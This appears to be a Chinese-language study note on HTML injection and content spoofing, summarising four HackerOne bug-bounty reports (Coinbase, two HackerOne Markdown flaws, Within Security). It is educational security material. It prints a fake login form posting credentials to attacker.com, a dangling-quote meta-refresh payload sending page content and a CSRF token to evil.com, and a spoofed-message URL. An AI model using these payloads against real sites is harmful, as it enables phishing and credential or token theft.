HTML 注入(HTML Injection)與內容偽造(Content Spoofing)讓攻擊者把自己設計的內容嵌入目標網站。最常見的形式是注入一個假的登入 <form>,誘騙使用者把帳密送往攻擊者的伺服器。這類攻擊本質上依賴社交工程,因此 Bug Bounty 計畫普遍評為較低風險。
概念釐清#
HTML 注入#
當網站允許使用者透過表單欄位或 URL 參數送入 HTML 標籤,並且直接渲染到頁面上,就會出現此漏洞。
HTML 注入又稱 virtual defacement(虛擬竄改):開發者用 HTML 定義頁面結構,攻擊者注入 HTML 即可改變外觀。誘騙使用者送出敏感資訊的手法稱為 phishing(釣魚)。
最典型的釣魚 payload:
<form method="POST" action="http://attacker.com/capture.php" id="login-form">
<input type="text" name="username" value="" />
<input type="password" name="password" value="" />
<input type="submit" value="submit" />
</form>當使用者誤以為這是合法登入框並按下提交,憑證就會被送到攻擊者的伺服器。
HTML 注入與第 7 章 XSS 的差別:XSS 可以執行任意 JavaScript,HTML 注入只能改變頁面結構,影響相對輕。
內容偽造#
如果網站把 HTML 標籤過濾或跳脫,攻擊者就只能注入純文字——這稱為內容偽造。
- 無法改頁面結構,但可塞入看似官方的訊息
- 訊息能誤導使用者執行某些動作(撥電話、寄信、輸入資料)
- 完全仰賴社交工程的成敗
案例 1:Coinbase 字元編碼繞過#
- 難度:低
- URL:
https://coinbase.com/apps/- 回報來源:https://hackerone.com/reports/104543/ ↗
- 回報日期:2015-12-10
- 獎金:$200
漏洞描述#
Coinbase 在使用者評論中過濾 HTML 標籤,但事後又會解碼 HTML 實體。研究者先試明文:
<h1>This is a test</h1>被過濾,只留下純文字。但改用 HTML 實體編碼:
<h1>This ...伺服器把過濾跑在前面(看不到 <h1>),渲染時再解碼,最終變回 <h1>This is a test</h1> 並真正當 HTML 渲染。
研究者進一步注入帳密表單:
Username:<br />
<input type="text" name="firstname" />
<br />
Password:<br />
<input type="password" name="lastname" />頁面上長出一組看似合法的登入欄位。
Takeaways#
- 測試時嘗試多種編碼:明文、URL 編碼(如
%2F→/)、HTML 實體(<、<)- 推薦工具:CyberChef ↗,內建大量編解碼瑞士刀
案例 2:HackerOne Unintended HTML Inclusion#
- 難度:中
- URL:
https://hackerone.com/reports/<report_id>/- 回報來源:https://hackerone.com/reports/110578/ ↗
- 回報日期:2016-01-13
- 獎金:$500
背景知識#
- Markdown:用簡短語法產生 HTML,例如
# Title→<h1>Title</h1> - 連結加
title:[test](https://example.com "Your title")→<a href="https://example.com" title="Your title">test</a> - React:Facebook 的前端框架,預設會跳脫 HTML,除非呼叫
dangerouslySetInnerHTML才會直接寫入 DOM
漏洞描述#
研究者 Inti De Ceukelaire 注意到 HackerOne 的 Markdown 編輯器有問題:可在輸出 HTML 中夾帶單一懸空的單引號(hanging single quote)。HackerOne 又用 dangerouslySetInnerHTML 直接把伺服器來的 HTML 注入 DOM——意味著跳脫保護被關掉。
如果攻擊者能再找到第二個漏洞,在頁面開頭注入這樣的 <meta>:
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=由於 <meta refresh> 會立即發出 GET,且這個 content= 的字串開了單引號沒有結尾——它會一路吃進整個頁面內容,直到遇上 De Ceukelaire 注入的那個懸空單引號才結束。中間吞掉的內容會被當作 text= 參數送到 evil.com,包括 CSRF Token 等敏感資料。
<html>
<head>
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
</head>
<body>
<h1>Some content</h1>
<input type="hidden" name="csrf-token" value="ab34513cdfe123ad1f" />
<p>attacker input with '</p>
</body>
</html>雖然 De Ceukelaire 當時無法直接利用,但已能證明可注入懸空引號於 CSRF Token 之後——這個「半成品」漏洞足以說明潛在風險,HackerOne 仍給了 $500。
Takeaways#
深入理解瀏覽器解析 HTML 的細節,能打開大量攻擊面。FileDescriptor 對
<meta>refresh exploit 有精彩說明:https://blog.innerht.ml/csp-2015/#contentexfiltration ↗
案例 3:HackerOne Unintended HTML Include Fix Bypass#
- 難度:中
- URL:
https://hackerone.com/reports/<report_id>/- 回報來源:https://hackerone.com/reports/112935/ ↗
- 回報日期:2016-01-26
- 獎金:$500
漏洞描述#
本書作者 Peter Yaworski 看到 De Ceukelaire 的修復後決定再試一次。他送入:
[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")混淆了 Markdown 的 title 屬性解析(多了 ismap=、yyy= 與額外引號),結果產生:
<a
title="test"
ismap="alert xss"
yyy="test"
ref="http://www.toronotwebsitedeveloper.com"
>test</a
>修補後反而讓 Markdown 解析器可以輸出任意 HTML 屬性。雖然作者當下未做完整 PoC,但「能注入未經跳脫的 HTML」本身就足以說服 HackerOne 重做修復。
Takeaways#
修復不等於沒有漏洞——新的程式碼就是新的攻擊面。每次部署修復後,重新測試一輪是高 CP 值的工作。
案例 4:Within Security Content Spoofing#
- 難度:低
- URL:
https://withinsecurity.com/wp-login.php- 回報來源:https://hackerone.com/reports/111094/ ↗
- 回報日期:2016-01-16
- 獎金:$250
漏洞描述#
Within Security 是 HackerOne 旗下分享資安新聞的網站,建在 WordPress 上。當登入失敗時,URL 帶有 error 參數:
https://withinsecurity.com/wp-login.php?error=access_denied研究者發現 error 參數值會被原樣渲染成錯誤訊息,包括 URI 解碼後的字元。於是他改成:
https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20been%20hacked%2C%20Please%20call%20us%20this%20number%20919876543210%20OR%20Drop%20mail%20at%20attacker%40mail.com&state=...頁面上長出一段「您的帳號被入侵,請撥打此號碼或寄信給 …」的訊息——攻擊者可藉此釣魚。

Figure 5-1: 攻擊者把這段「警告」訊息注入到 WordPress 管理頁面
Takeaways#
留意「URL 參數被原樣渲染到頁面」的行為。同樣模式有時能升級成 XSS(第 7 章),有時則只能做內容偽造/HTML 注入——影響較小,但有些計畫仍會付出最低獎金。
章末總結#
- HTML 注入=攻擊者讓網站把惡意 HTML 反映回頁面,常用於釣魚
- 內容偽造=只能注入純文字,但仍可塞入「看似官方」的訊息誤導使用者
- 找漏洞時的主要切入點:
- 是否接受 HTML 實體編碼(
<)並在後段解碼 - 是否會把 URL 參數值直接渲染到頁面
- Markdown/富文字編輯器在邊界輸入下的解析行為
- 是否接受 HTML 實體編碼(
- 修復不是終點:bug 改完總會引入新的程式碼,每次都該再試一輪
- 多數計畫對此類漏洞獎金較低——因為依賴使用者上當才會發生實質傷害